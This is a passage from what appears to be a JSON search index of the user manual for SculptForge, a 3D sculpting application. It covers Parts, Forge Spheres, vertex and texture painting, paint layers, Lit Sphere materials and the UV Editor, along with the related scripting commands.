active Part is shown, it is see-through itself. Click X-Ray again to make them solid. View > X-Ray does the same. Unhide all shows every Part. Hidden Parts aren't drawn, can't be selected with Alt+click, and are left out of exports. Note: Part visibility is different from hiding part of a mesh with face groups or a rectangle. That hides faces inside one Part; see Face Groups and visibility."},{"p":"parts.html","c":"Parts","a":"reorder-parts","h":"Reorder Parts","t":"The up and down arrow buttons under the list move the active Part one place up or down. The order matters for Merge down and is the order objects are written to files."},{"p":"parts.html","c":"Parts","a":"merge-parts","h":"Merge Parts","t":"Merge down... merges the active Part with the one below it. Merge visible... merges every visible Part into one new Part called Merged. Hidden Parts stay as they are. Merging keeps every attribute, gives each original mesh its own face groups (so you can split them again later) and matches sculpt layers by name. The merged Part starts with an empty undo history. A Part with subdivision levels is merged (or split) at the level it is on, which becomes the base of the result; the status line names the Parts that lost their levels. Painted textures are kept too: the merged Part gets new Auto UVs and one texture, the size of the largest, holding each part's paint exactly (texture layers are flattened; parts without a texture are white). On big meshes the Auto UV takes a while. Scripts can skip it with keep_texture=false, which drops the textures. Tip: Merge first when you want one voxel remesh to fuse several pieces into a single watertight surface."},{"p":"parts.html","c":"Parts","a":"split-a-part","h":"Split a Part","t":"Split groups makes one Part per face group. It is available when the active Part has more than one face group. Split parts makes one Part per disconnected piece, largest first. Both replace the active Part with the pieces. Because a merge keeps each original mesh in its own face group, Split groups undoes a merge."},{"p":"parts.html","c":"Parts","a":"extract-a-shell","h":"Extract a shell","t":"Extract, in Tool > Parts, makes a new Part from the masked part of the active one: a helmet from the top of a head, a strap, a sleeve, a piece of armour that fits the surface exactly. It works: Mask the part (hold Ctrl and paint, or use Mask Rectangle / Mask Lasso; see Masking). Click Extract. The shell appears as a preview, a Part just below the active one. Change Thick, E Smt, Double, TCorne or TBorder and the preview follows. Click Accept to keep it. Setting What it does Thick The shell's thickness as a share of the Part's size: 0.015 (the default) is 1.5%. Negative grows it inward; 0 makes a single-sided surface E Smt Smooths the extracted edge, which otherwise follows the mask's triangles in steps. 0 keeps it as masked Double Grows the shell both inward and outward from the surface TCorne Triangles instead of quads in the rim where the edge turns sharply (over 50 degrees), so tight corners don't get twisted quads TBorder The whole rim is triangles instead of quads A cap extracted from the masked top of a sphere, shown with its face groups: outer, inner and rim The new Part has three face groups, the outer surface, the inner one and the rim between them (a band of quads), so you can mask, hide or split them apart. Vertex Paint comes with it; hidden faces are left out. Accept is one undo step: Ctrl+Z on the source Part takes the extracted one away again, and redo brings it back. A preview you don't accept goes away as soon as you change the source Part or pick another one, and it is never saved."},{"p":"parts.html","c":"Parts","a":"delete-a-part","h":"Delete a Part","t":"Click Delete... (or right-click a row > Delete...) and confirm. The last Part can't be deleted, and a delete can't be undone."},{"p":"parts.html","c":"Parts","a":"parts-in-files","h":"Parts in files","t":"Format What happens to Parts Project (.sfproj) Every Part is saved with its name, visibility, attributes, layers and active layer OBJ Each visible Part is an o object; on import, o objects become Parts and g groups become face groups glTF / GLB One node and mesh per visible Part, both ways FBX One model per visible Part (with LODs, an LOD group each), both ways USD One Mesh prim per visible Part, both ways Bridge Each visible Part is sent as its own object PLY, STL, splat conversion The visible Parts are merged into one mesh Opening a multi-object file replaces the scene with one Part per object. See Exporting for the details of each format."},{"p":"parts.html","c":"Parts","a":"scripting","h":"Scripting","t":"Every Part action is a command, so you can use them in the console, scripts, Python and MCP agents. Parts are addressed by index (0 is the top of the list) or name; without either, the active one is used. Command What it does part_list List the Parts part_select index=1 Make a Part active part_append type=cube Add a primitive (sphere, cube, plane); path= adds a file; size= (0.05-2, default 0.35) part_duplicate Copy a Part part_delete name=Helmet Delete a Part part_rename to=Body Rename a Part part_visibility visible=false Show or hide (toggles when visible is left out) part_solo / part_show_all Solo the active Part / show every Part part_move direction=up Move a Part up or down the list part_merge_down / part_merge_visible Merge part_split_groups / part_split_parts Split extract thickness=0.02 smooth=5 double=false Preview an Extract shell from the mask; tcorne / tborder for a triangle rim; accept=true keeps it at once extract_accept / extract_cancel Keep or remove the Extract preview part_append type=sphere name=EyeL size=0.12; part_duplicate; part_rename to=EyeR"},{"p":"parts.html","c":"Parts","a":"see-also","h":"See also","t":"Face Groups and visibility: hide parts of one Part Sculpt layers and blend shapes: layers belong to each Part Exporting: how Parts reach other applications Projects, autosave and snapshots"},{"p":"forge-spheres.html","c":"Forge Spheres","a":"","h":"Forge Spheres","t":"Forge Spheres (experienced sculptors: Forge Spheres) block out an organic base mesh from connected spheres: start from one root sphere, grow a torso, a head, limbs, fingers, a tail or branches from it, set the proportions, look at the skin over them, then turn it into a mesh you sculpt as usual. It is the quickest way to get the structure of a character or creature before any detail."},{"p":"forge-spheres.html","c":"Forge Spheres","a":"make-a-forge-sphere-part","h":"Make a Forge Sphere Part","t":"Tool > Forge Spheres > New Forge Sphere adds a Forge Sphere Part holding one root sphere at the centre and makes it active. It sits in the Parts list like any other Part, so you can block out a creature next to a model you already have. While a Forge Sphere Part is active, dragging on it edits the spheres instead of sculpting. Dragging the background still navigates. The brush ring is hidden; the sphere under the cursor gets an outline instead."},{"p":"forge-spheres.html","c":"Forge Spheres","a":"edit-the-spheres","h":"Edit the spheres","t":"Pick the mode in Tool > Forge Spheres: Mode On a sphere On a link Draw Drag to grow a new sphere from it. It starts on the surface where you pressed; how far you drag sets its size (a click makes one half the size of its parent) Click to add a joint halfway along the link, and drag to place it Move Drag to move it across the screen. The links stretch to follow Moves the sphere at the end of the link Scale Drag up or right to make it bigger, down or left to make it smaller Scales the sphere at the end of the link In every mode, Alt+click a sphere to delete it together with everything that grows from it. The root sphere (orange) always stays. Symmetry (X) mirrors every edit: grow an arm on the right and the left one grows with it, move a leg and its twin moves too. A sphere on the centre line stays on it. Every drag is one step of the Part's undo history, so Ctrl+Z takes back the last sphere you added, moved or scaled. Tip: build the structure first with few spheres (one per joint), set the proportions with Move and Scale, and add joints on links only where a limb needs to bend or swell."},{"p":"forge-spheres.html","c":"Forge Spheres","a":"pointer-only","h":"Pointer only","t":"Everything also works with the pointer alone, without a key held (#8): Drag places child: with it on, a Draw drag on a sphere makes a new sphere half its size and moves it away from its parent as you drag, so one drag places the next joint of a limb. With it off, hold Ctrl while you drag for the same. The selected sphere: the sphere you last clicked or added is outlined in orange. Delete Selected deletes it and everything growing from it, Insert Between adds a joint halfway to the sphere it grows from, and Set as Root makes it the root: the armature keeps its shape and links and grows from there, so the skin doesn't change. Right click a sphere (a click, not a drag: a right drag still turns the view) for a menu with Delete Sphere, Insert Between and Set as Root. Each is one undo step, and Symmetry mirrors Delete and Insert. From a script: forgesphere_set_root index=3."},{"p":"forge-spheres.html","c":"Forge Spheres","a":"preview-the-skin","h":"Preview the skin","t":"Preview (A) shows the skin over the spheres instead of the spheres themselves, so you can judge the volumes. The skin is a smooth union of the spheres and the cones between them, with the joints filled out a little. Turn Preview off to edit the spheres again; while it is on, clicks on the model do nothing."},{"p":"forge-spheres.html","c":"Forge Spheres","a":"make-mesh","h":"Make Mesh","t":"Make Mesh builds the skin as a new Part right below the Forge Sphere Part and makes it active: It is watertight and made of quads, ready for the brushes, Dynamic topology, Divide or Quad Remesh. Each link gets its own face group, so you can isolate or mask a limb straight away. Resolution sets how dense it is: cells across the model's longest side. 128 suits a blockout; raise it for thin fingers or tails that come out too thin or broken. The Forge Sphere Part is hidden and kept. To change the proportions later, show and select it, edit the spheres and Make Mesh again. The armature is saved with the project. Tip: for clean edge flow, run Quad Remesh on the new mesh, then Divide and sculpt."},{"p":"forge-spheres.html","c":"Forge Spheres","a":"scripting","h":"Scripting","t":"The same operations are commands (see Scripting): forgesphere_new, forgesphere_list, forgesphere_add, forgesphere_set, forgesphere_delete, forgesphere_insert, forgesphere_preview and forgesphere_make_mesh. For example, a simple figure: forgesphere_new radius=0.5 forgesphere_add parent=0 position=0,0.8,0 radius=0.3 forgesphere_add parent=0 position=0.9,0.1,0 radius=0.2 symmetry=x forgesphere_make_mesh resolution=160"},{"p":"vertex-paint.html","c":"Vertex Paint and materials","a":"","h":"Vertex Paint and materials","t":"Vertex Paint (experienced sculptors: Vertex Paint) stores a colour on every vertex of the mesh, so you can paint a sculpt without UVs or textures. This chapter covers the Paint brush, painting while you sculpt, fills and cavity paint, picking colours, paint layers with blend modes, and the Lit Sphere materials that change how the model is shaded in the viewport."},{"p":"vertex-paint.html","c":"Vertex Paint and materials","a":"how-vertex-paint-works","h":"How vertex paint works","t":"Colour is stored per vertex. The detail you can paint is limited by how dense the mesh is: on a light mesh, colour edges look soft. Subdivide or remesh at a higher resolution before fine painting. Painting respects the mask (masked areas keep their colour) and skips hidden faces. Symmetry works for painting as it does for sculpting. Vertex Paint is per Part and is saved in projects. It is exported as vertex colours to PLY, glTF/GLB, OBJ, USD (displayColor) and Bridge files. FBX export doesn't include it. A mesh starts without vertex paint. The first paint stroke or fill adds it (white everywhere you haven't painted). Texture painting: to paint finer than the mesh, give the Part a texture and paint into it instead; the Paint brush, fills and paint layers work the same way. Vertex Paint > Texture bakes vertex paint into a texture. See Texture painting."},{"p":"vertex-paint.html","c":"Vertex Paint and materials","a":"paint-with-the-paint-brush","h":"Paint with the Paint brush","t":"Press P, click Paint on the top shelf, or pick Paint on the bottom shelf. Choose a colour (see below). Stroke over the model. Draw Size, the stroke type and the alpha work as they do for sculpting; RGB Intensity (I) sets how strongly the colour goes on. While the Paint brush is active: Alt paints back towards white. Shift still smooths the shape. The surface isn't changed. Press P again, or click Sculpt on the top shelf, to go back to sculpting. Vertex Paint on a sculpt with the Paint menu open"},{"p":"vertex-paint.html","c":"Vertex Paint and materials","a":"paint-while-sculpting","h":"Paint while sculpting","t":"Turn on Rgb on the top shelf (or RGB while sculpting in the Paint menu). Every sculpt brush then also paints the current colour along its stroke. The Smooth brush and Shift-smoothing never paint."},{"p":"vertex-paint.html","c":"Vertex Paint and materials","a":"choose-a-colour","h":"Choose a colour","t":"The left shelf has a colour picker (a square plus a hue strip), two swatches and a Fill button. Clicking the second swatch swaps it with the main colour. The Paint menu has a larger hue wheel with a hex value, ten preset swatches (white, near black, red, orange, yellow, green, blue, purple, skin and brown) and the fill buttons. Press C with the cursor over the model to pick the colour under it (the mesh needs vertex paint for this, or a texture while painting into the texture)."},{"p":"vertex-paint.html","c":"Vertex Paint and materials","a":"fill-cavity-paint-and-clear","h":"Fill, cavity paint and clear","t":"The Paint menu has four buttons: Button What it does Fill Fills the unmasked area with the colour (the whole mesh when nothing is masked). Same as Fill on the left shelf Fill masked Fills only the masked area. Available when the mesh has a mask Cavity Darkens the creases and cavities with a dark brown, respecting the mask. A quick way to bring out detail Clear Removes all vertex paint from the active Part All of them are undoable. Show vertex paint in the same palette (or Paint on the right shelf) turns the colours off in the viewport without deleting them. Tip: To paint a base colour and then dirt in the creases: Fill with the base colour, then Cavity. For a different cavity colour or strength, use the command (below)."},{"p":"vertex-paint.html","c":"Vertex Paint and materials","a":"paint-layers","h":"Paint layers","t":"Paint layers stack vertex paint the way Photoshop stacks image layers. Each layer has its own name, visibility, opacity and blend mode, so you can paint dirt on a Multiply layer, glow on a Screen layer or tint on an Overlay layer, then change or hide it later without repainting the rest. Every Part has its own stack. Tool > Paint Layers: Base, a Multiply dirt layer, a Soft Light tint and an empty Normal layer"},{"p":"vertex-paint.html","c":"Vertex Paint and materials","a":"how-paint-layers-work","h":"How paint layers work","t":"Base is the bottom layer: the Part's vertex paint, always opaque. With only Base, vertex paint works exactly as it did before, and nothing changes in your files. Layers above Base start transparent. Painting on a layer adds colour and coverage: where you haven't painted, the layer is see-through. Painting never touches the layers you aren't on. What you see, and what every export writes, is the stack composited from Base up: each visible layer blends its colour over the result below with its blend mode, scaled by its coverage and opacity. Blending happens on display colours, like Photoshop, so the modes behave as Photoshop users expect: 50% grey on an Overlay or Soft Light layer changes nothing, white on Multiply changes nothing, black on Screen changes nothing. The Paint brush, Rgb while sculpting, Fill, Fill masked and Cavity all write into the active layer (highlighted in the list; the Paint menu shows \"Painting on: ...\"). They respect the mask and hidden faces on every layer. With the Paint brush on a layer, Alt erases the layer's paint (on Base it paints back towards white, as before). A hidden or locked layer can't be painted, filled or cleared; the status line says why."},{"p":"vertex-paint.html","c":"Vertex Paint and materials","a":"blend-modes","h":"Blend modes","t":"Mode Effect Normal The layer's colour covers what is below Multiply Darkens: dirt, shadows, cavity grime. White does nothing Screen Lightens: highlights, glow, dust. Black does nothing Overlay Adds contrast and tints the midtones. 50% grey does nothing Soft Light A gentler Overlay, good for skin tints and colour variation Add Adds the colours (Photoshop's Linear Dodge); strong highlights Subtract Subtracts the layer's colour Darken / Lighten Keeps the darker / lighter colour, channel by channel Difference The difference between the colours; useful for checking two paint passes against each other"},{"p":"vertex-paint.html","c":"Vertex Paint and materials","a":"the-paint-layers-sub-palette","h":"The Paint Layers sub-palette","t":"Open Tool > Paint Layers in the right tray (it sits under the sculpt Layers sub-palette). The list shows the layers top first, with Base at the bottom, like Photoshop's Layers panel. Each row has the name, the blend mode and opacity, a lock and an eye. Click a row to paint on that layer. Double-click it to rename. Right-click for Rename, Duplicate, Merge down, Clear and Delete. The eye shows or hides the layer; the lock protects it from painting, fills, clears and merges. Under the list: the active layer's blend mode and Opacity slider. The opacity previews live while you drag and is one undo step when you let go. New adds a transparent layer above the active one. Duplicate copies the active layer (Base becomes an opaque layer). Delete removes the active layer. The arrows move the active layer up or down. Merge down merges it into the layer below (into Base for the lowest layer). Flatten bakes every visible layer into Base and removes the layers; hidden layers are discarded. Clear layer makes the active layer transparent again (Base: white). Fill layer fills it with the current colour, like Fill in the Paint menu. Hold Ctrl over any control for its description. Every action is undoable with Ctrl+Z. Tip: Merging onto Base, and merging a layer onto a Normal layer it fully covers, keeps the look exactly. Merging a Multiply, Overlay or other blended layer onto a partly transparent layer can't always match, so the result takes the lower layer's blend mode, as in Photoshop."},{"p":"vertex-paint.html","c":"Vertex Paint and materials","a":"paint-layers-and-sculpt-layers","h":"Paint layers and sculpt layers","t":"They are separate stacks. Tool > Layers holds sculpt layers: shape changes exported as blend shapes. Tool > Paint Layers holds colour. Selecting a sculpt layer doesn't change the paint layer you paint on, and the other way round, so a stroke with Rgb on can sculpt into the \"Smile\" layer and paint into the \"Blush\" layer at once."},{"p":"vertex-paint.html","c":"Vertex Paint and materials","a":"files-parts-and-geometry","h":"Files, Parts and geometry","t":"Paint layers are saved in projects (.sfproj) with their names, blend modes, opacity, visibility, lock and the active layer. Older versions of SculptForge open these projects with the paint flattened. Exports (OBJ, PLY, glTF/GLB, USD, Bridge) write the composited colours, exactly what the viewport shows. Duplicating a Part copies its layers, and Split keeps them on each piece. Subdividing and decimating keep them too. Merging Parts, a voxel remesh and other rebuilds keep the look but flatten the layers into Base."},{"p":"vertex-paint.html","c":"Vertex Paint and materials","a":"materials-lit-spheres","h":"Materials (Lit Spheres)","t":"Materials change only how the model is shaded in the viewport. They aren't exported and don't change vertex paint. Material Look Soft Clay The default: a matte warm light grey with a clear light and shadow side and a soft rim Sculpt Made for sculpting: neutral warm clay under a strong key light from the upper left, a crisp highlight and deep cavity shading, so small strokes and undulations stay readable Red Wax Glossy deep red wax, the classic sculpting look Clay Matte grey-brown clay Skin Warm, soft skin tones Chrome Mirror-like metal, good for checking surface flow White Neutral off-white for judging forms Bronze Polished bronze Studio Softer clay shading with studio lighting (the default in earlier versions). Its colour is Base colour in Render > Materials To choose one: Press M for the material picker under the cursor, or click the Material tile on the left shelf. Point at a material to preview it on the model, click to keep it. Esc or clicking away puts the previous material back. Open Render > Materials, or the Material tab of the Library. The material picker with the built-in Lit Spheres and Studio Vertex Paint multiplies the material, and cavity shading stays on with every material (strongest with Sculpt). The material is saved with the project: projects saved with Studio open with Studio. Colour tints the material (in the Paint menu, on by default): on a Part with no vertex paint yet, the current colour tints its Lit Sphere material, so you can try a skin, stone or bronze tone without painting anything. The colour's hue and saturation tint it; grey (the starting colour) and black leave the material as it is, and the material keeps its own light and shade. Once a Part has vertex paint, the paint shows instead. PBR shading uses the material channels and is not tinted. Saved with the project. Tip: Sculpt is the material to judge strokes with. The prettier ones (Skin, Red Wax) soften small detail; switch to them for presenting."},{"p":"vertex-paint.html","c":"Vertex Paint and materials","a":"your-own-lit-spheres","h":"Your own Lit Spheres","t":"A Lit Sphere is a picture of a lit sphere (Sloan and others, 2001): the view colours each point of the model with the sphere's colour where its surface faces the same way. Any lit-sphere image works: a square PNG, JPG or EXR with the sphere filling it (a non-square image is cropped to its centre; big ones are scaled to 1024 pixels). Render > Materials > Load Lit Sphere... picks an image. It joins the material list under its file name, the view uses it, and a copy goes into the Lit Spheres folder of your library (Documents/SculptForge/Lit Spheres, or the folder set in Edit > Preferences > Library), so it is there next time. Or put images into that Lit Spheres folder yourself: they show up the next time you open the material picker, Render > Materials or the Library's Material tab, no restart needed. Studios can share a read-only folder by listing it in the SCULPTFORGE_LITSPHERE_PATH environment variable (separated by :, ; on Windows); those load when SculptForge starts. To remove one, right-click it in the material picker or palette and choose Remove. An image from your Lit Spheres folder goes to the trash (the Recycle Bin on Windows), so you can still get it back. On macOS it is only hidden until you restart, and the message says where its file is so you can delete it yourself. Built-in materials can't be removed. A Lit Sphere loaded from an image (Gold) in Render > Materials Your Lit Spheres appear in the material picker (M), Render > Materials and the Library, after the built-in ones. A project that uses one carries a copy of the image, so it opens with the same look on another computer (or after you delete the file). Loading an image with the same name again replaces it. EXR images are read as linear light, so very bright highlights clip to white."},{"p":"vertex-paint.html","c":"Vertex Paint and materials","a":"smooth-and-flat-shading","h":"Smooth and flat shading","t":"Smooth shading (the default) blends the light across polygons, so the surface reads as one form. Flat shading lights every polygon on its own, so you see the faces: how the mesh is built, where its vertices sit, and exactly what a stroke, crease or pinch did to the geometry, without smooth blending hiding small lumps. It helps most when blocking out forms on a low-poly base mesh. Render > Materials > Shading: Smooth | Flat for the whole scene. The same buttons are in Tool > Display. This Part: Scene (the default) follows the scene's shading; Smooth or Flat keeps the active Part that way whatever the scene says, for example a flat body with smooth eyes. Smooth and Flat shading on the template head, with its eyes kept smooth Shading works with every material, vertex paint, textures and the mask. Like the material, it only changes the view: exports are unaffected. Projects save the scene's shading and each Part's own; projects from before open with your preferred shading. The scene's shading you choose is also the preference for the next session once you Store Config (Ctrl+Shift+I). Smooth and Flat have no default shortcut, so no classic key changes meaning; assign one under Edit > Preferences > Hotkeys if you switch often. Not yet: loading your own Lit Sphere images, and physically based materials or BPR-style renders."},{"p":"vertex-paint.html","c":"Vertex Paint and materials","a":"scripting","h":"Scripting","t":"Command What it does set_color color=#c08060 Set the paint colour: rrggbb, #rrggbb (quote it in scripts), r,g,b or a name such as white, skin, bone paint_fill area=unmasked Fill; area is unmasked (default), masked or all; strength 0-1 paint_from_cavity color=#202020 strength=0.7 smoothing=2 Cavity paint (defaults: dark brown, 0.7, 2 blur passes) paint_clear Remove all vertex paint, paint layers included paint_layer_add name=Dirt blend=multiply opacity=0.8 Add a paint layer above the active one and paint on it paint_layer_set index=0 opacity=0.5 blend=overlay visible=false locked=true name=Grime Change a layer (layer=Dirt picks it by name; default: the active layer) paint_layer_select layer=Base Paint on another layer (index=-1 is Base, 0 the first layer above it) paint_layer_duplicate, paint_layer_delete, paint_layer_clear Copy, delete or clear the active (or given) layer paint_layer_move direction=up Move a layer up or down the stack paint_layer_merge / paint_layer_flatten Merge down / bake every visible layer into Base paint_layer_list List the layers, top first (* marks the active one) set_material name=Chrome Viewport material: a Lit Sphere name (Soft Clay is the default, your own Lit Spheres included) or studio (desktop app only) load_litsphere path=gold.png Load a Lit Sphere image and use it; keep=false doesn't copy it into the Lit Spheres folder (desktop app only) remove_litsphere name=Gold Remove one of your Lit Spheres; its image in the Lit Spheres folder goes to the trash (desktop app only) set_background mode=flat color=60,70,80 The view's background: gradient (the default) or flat with a colour (#rrggbb, r,g,b or a name); see The background (desktop app only) set_shading mode=flat The scene's shading: smooth (the default) or flat (desktop app only) part_shading mode=smooth name=Eyes A Part's own shading: default (follow the scene), smooth or flat; index or name picks the Part (default: the active one) set_color color=\"#d9b38c\"; paint_fill; paint_from_cavity strength=0.5 paint_layer_add name=Dirt blend=multiply opacity=0.8; paint_from_cavity color=4a2c18 strength=0.9"},{"p":"vertex-paint.html","c":"Vertex Paint and materials","a":"see-also","h":"See also","t":"Masking: protect areas from painting Sculpt layers and blend shapes: the shape counterpart of paint layers Sculpting and brushes: Draw Size, Falloff, strokes and alphas also apply to painting Exporting: which formats carry vertex colours"},{"p":"texture-painting.html","c":"Texture painting","a":"","h":"Texture painting","t":"Texture painting puts the colour into an image laid over the model's UVs, instead of on its vertices. The detail you can paint then comes from the texture's resolution, not from how dense the mesh is: a 4K texture on a light, game-ready mesh holds pores, freckles and sharp decals that vertex paint could only show on millions of polygons. Everything you know from vertex paint still applies: the same Paint brush, colours, fills, symmetry, mask and paint layers with blend modes. Texture painting: a sharp texture stroke above a soft vertex paint stroke, with the UV view in Tool > Texture Map The texture can also carry roughness, metallic, normal, height, AO, emission and opacity, painted in the same strokes: see Material painting (PBR)."},{"p":"texture-painting.html","c":"Texture painting","a":"start-in-one-click","h":"Start in one click","t":"Press P for the Paint brush (or turn on Rgb). While the Part has no texture, New Texture appears on the top shelf and in the Paint menu. Click it: if the model has no UVs, SculptForge runs Auto UV first (in the background; the status bar shows its progress), then gives it a white texture (2K, or the size chosen in Tool > Texture Map) and switches painting to Texture. Paint away. The steps below do the same thing by hand, with more choices."},{"p":"texture-painting.html","c":"Texture painting","a":"paint-a-texture-in-four-steps","h":"Paint a texture in four steps","t":"Open Tool > Texture Map in the right tray. If the Part has no UVs (the sub-palette says \"No UVs\"), click Auto UV. SculptForge cuts the model into UV islands and packs them into the texture square. It works in the background with a progress bar; on a few hundred thousand triangles it takes seconds, on millions it can take a minute or more. Models imported with UVs already have them: skip this step. Choose a size (1K, 2K, 4K or 8K; 2K is the default) and click New Texture. The model now carries a white texture, and painting goes into it: Texture lights up next to Vertex on the top shelf. Press P and paint. Draw Size, RGB Intensity, pen pressure, the stroke type, the alpha, symmetry and the mask work as they do for vertex paint. Click Show UVs to see the texture with the UV layout drawn over it, below the buttons, or open the UV Editor (Alt+U) to cut seams, unwrap, pack and edit the UVs. Paint on the model and watch the texture fill in."},{"p":"texture-painting.html","c":"Texture painting","a":"vertex-or-texture","h":"Vertex or Texture","t":"When a Part has a texture, Vertex and Texture appear on the top shelf next to Rgb (and in the Color, Paint Layers and Texture Map palettes). They choose where paint goes: Texture: the Paint brush, Rgb while sculpting, Fill, Fill masked, Cavity, Clear and the Paint Layers palette work on the texture. Vertex: they work on the vertex paint, exactly as before. The model shows both: the vertex paint multiplied by the texture, over the material. If paint looks as coarse as the mesh's polygons, it is going into the vertices: check that Texture is lit, and that the Part carries no old vertex paint (Tool > Paint Layers, or Vertex Paint > Texture to move it into the texture). Texture paint itself is as sharp as the texture: a hard alpha gives the same texels on a two-triangle plane as on a dense mesh. Each Part keeps its own choice, saved in the project. Show texture (Texture Map, or the Paint menu) hides the texture in the viewport without deleting it."},{"p":"texture-painting.html","c":"Texture painting","a":"how-texture-painting-works","h":"How texture painting works","t":"Each texel under the brush gets its 3D position on the surface, so the falloff, the alpha and the brush size are the same as for vertex paint, and a stroke looks the same whatever the UV layout. Front faces only: the brush never paints through a thin part onto its far side, and never on surfaces facing away from you. The mask keeps masked areas as they are, and hidden faces are never painted. Symmetry paints the mirrored side too, even where the two sides have different UV islands. Around every UV island the paint runs on a few texels into the empty space (padding), so seams don't show as thin lines when the texture is filtered or mipmapped. One stroke is one undo step. SculptForge stores only the 64x64-texel tiles the stroke touched, so undo stays light even on an 8K texture. Layer edits (new layer, fill, clear, merge, flatten, delete) also keep only the tiles they changed, and an empty or single-colour tile costs almost nothing. Only an edit that changes a whole painted layer at once, like clearing a fully painted Base, stores the full layer. Alt paints back towards white on Base, and erases on a paint layer, as with vertex paint. C over the model picks the texture's colour under the cursor. Tip: Painting stays fast with big textures on big meshes: only the triangles under the brush are visited, the texels are painted on every core, and only the changed 64x64 tiles of the texture are sent to the graphics card. A big brush on a 4K texture takes a few milliseconds per dab. Memory is the limit: a 4K texture takes 64 MB per layer, an 8K texture 256 MB."},{"p":"texture-painting.html","c":"Texture painting","a":"paint-layers-on-a-texture","h":"Paint layers on a texture","t":"Tool > Paint Layers works on the texture's own stack while painting goes into the texture: new layers, blend modes, opacity, visibility, lock, Merge down, Flatten, Clear and Fill layer behave exactly as described in Paint layers. Switch to Vertex and the palette shows the vertex paint layers again; the two stacks are separate."},{"p":"texture-painting.html","c":"Texture painting","a":"convert-between-vertex-paint-and-texture","h":"Convert between vertex paint and texture","t":"Button What it does Vertex Paint > Texture Bakes the vertex paint (all its layers, as shown) into the active texture layer. Makes a 2K texture if there is none Texture > Vertex Paint Sets the vertex paint of every vertex to the texture's colour under it. Detail finer than the mesh is lost; vertices on a UV seam take the average of both sides Both are undoable. Vertex Paint > Texture is a quick way to move an existing vertex-painted sculpt onto a game mesh's texture after giving it UVs."},{"p":"texture-painting.html","c":"Texture painting","a":"import-and-export","h":"Import and export","t":"Export Texture... saves the texture (every visible layer composited) as a PNG. Import Texture... loads a PNG, JPEG, TGA, BMP or PSD as the Part's texture (it replaces the texture's layers; undoable). The image is laid on the UVs as it is, so a texture made for these UVs in another app lines up. Projects (.sfproj) save the texture with all its layers, blend modes and settings. Exporting the model writes the texture next to it as a PNG and references it, so other apps pick it up: OBJ writes a .mtl material with map_Kd; glTF/GLB embeds it as the base colour texture; USD binds a preview material that reads it; FBX and Bridge export write the PNG beside the file. See Exporting. Delete Texture removes it (undoable); painting goes back to the vertices."},{"p":"texture-painting.html","c":"Texture painting","a":"uvs-and-geometry","h":"UVs and geometry","t":"Auto UV replaces any existing UVs. If the Part already has a painted texture, the paint moves with it: every texel of the new layout takes the colour of the same point of the surface from the old one, for the Base and every texture layer (with their blend modes, opacity and names), and the islands get a padded border. It is one undo step: undo brings back the old UVs and the old texture exactly. Moving a 4K texture takes a fraction of a second on a million triangles (the unwrap itself takes longer; see below). The paint is resampled once, so very fine detail softens slightly (well under one texel). Subdividing, decimating, splitting and duplicating keep the UVs, so the texture stays on. Decimate leaves the vertices on UV seams in place, so the texture stays exact across seams. Keep Texture (on by default, shown under Tool > Remesh and Tool > Geometry > Quad Remesh when the Part has a texture): a voxel remesh or Quad Remesh builds a new surface without UVs, so SculptForge unwraps the result with Auto UV and projects the texture onto it from the old surface (each new texel takes the colour of the closest point of the old one), keeping every layer. It is part of the same undo step. It adds the time of an Auto UV of the result, so a voxel remesh of a painted Part runs in the background with a progress bar and Cancel. Turn it off to drop the texture instead (the status line says so). Paint finer than the new surface's detail is kept, since it lives in the texture. Merging Parts keeps their textures: the merged Part gets Auto UVs and one texture (the size of the largest) holding each part's paint, with the texture layers flattened. Parts without a texture come out white. Auto UV on dense meshes: the islands are kept to about 4,000 triangles each, so a million-triangle sculpt unwraps in a quarter of a minute or so and gets a few hundred islands. UVs outside the 0-1 square (other UDIM tiles) aren't painted yet; the UV Editor lays them out."},{"p":"texture-painting.html","c":"Texture painting","a":"scripting","h":"Scripting","t":"Command What it does uv_auto Unwrap the active Part (xatlas); resolution=4096 packs the islands for that texture size. A painted texture moves onto the new UVs (keep_texture=false leaves it as it was) texture_create size=2048 Give the Part a texture (1024, 2048, 4096, 8192 or 1k...8k) and paint into it; from_vertexpaint=true starts from the vertex paint paint_target target=texture Where painting goes: vertex or texture texture_from_vertexpaint Bake the vertex paint into the active texture layer vertexpaint_from_texture Copy the texture into the vertex paint texture_export path=skin.png Save the texture as a PNG texture_import path=skin.png Load an image as the texture texture_delete Remove the texture remesh, qremesh, part_merge_down and part_merge_visible keep a texture unless you add keep_texture=false. paint_fill, paint_from_cavity, paint_clear and every paint_layer_* command work on the texture while paint_target is texture. See Scripting and automation."},{"p":"uv-editor.html","c":"UV Editor","a":"","h":"UV Editor","t":"The UV Editor shows a Part's UVs flat, over the texture's tiles, and gives you everything to make them: seams drawn on the model, unwrapping that keeps the surface's shape, packing into one tile or across UDIM tiles, texel density, trim sheets, and hand editing of vertices, edges, faces and islands. While you work, the model shows the same colours and a checker, so stretch and density show up on the surface the moment they appear, and a painted texture can move with every edit so the model keeps its look. Open it with Tool > Texture Map > UV Editor, or Alt+U. It opens over the right of the canvas with the model moved to the left; drag its title bar or its edges to place it anywhere. The UV Editor: the lion's islands after Unwrap, with island colours and a checker on the model"},{"p":"uv-editor.html","c":"UV Editor","a":"the-window","h":"The window","t":"Select (top left): what clicks pick, Vertex, Edge, Face or Island (1-4 while the pointer is over the view). The selection converts when you switch. Colours: what the faces show, in the view and on the model: Islands (a colour each), Stretch, Density (texel density) or Plain. Image: what's behind the layout: nothing, a Checker, or the Part's painted Texture (tile 1001). On model: Colours shows the same colours on the model, Checker lays a checker on its UVs (a square per 32 texels of the texture, tinted per UDIM tile). Squares that stay square mean no stretch. Frame (F over the view) fits the selection, or the whole layout, in the view; Home shows tile 1001. The status line under the view: islands, what's selected, the mean stretch, the texel density and the UDIM tiles in use. The sections on the right: Unwrap (with the seams), Pack, Texel Density, Trim Sheet, Edit and Display. The view is drawn by the graphics card, so a million-triangle layout pans, zooms and moves as smoothly as a small one. Scroll to zoom (around the pointer); drag with the right or middle button to pan. The UDIM tile numbers are written in each tile's corner."},{"p":"uv-editor.html","c":"UV Editor","a":"selecting","h":"Selecting","t":"Click to select (Shift adds, Ctrl removes); drag on an empty spot for a box. In Island mode the box picks every island it touches; in Face mode the faces inside it. A selects everything, Alt+A nothing, Ctrl+I inverts. Select in 3D (Unwrap section): click or drag over the model to select there, in the current mode; Shift adds, Alt removes. The selection shows orange in both views. Moving a vertex moves all of its corners that are joined in UV space, so islands stay in one piece while you edit them; edges along a seam move each side on its own."},{"p":"uv-editor.html","c":"UV Editor","a":"moving-rotating-and-scaling","h":"Moving, rotating and 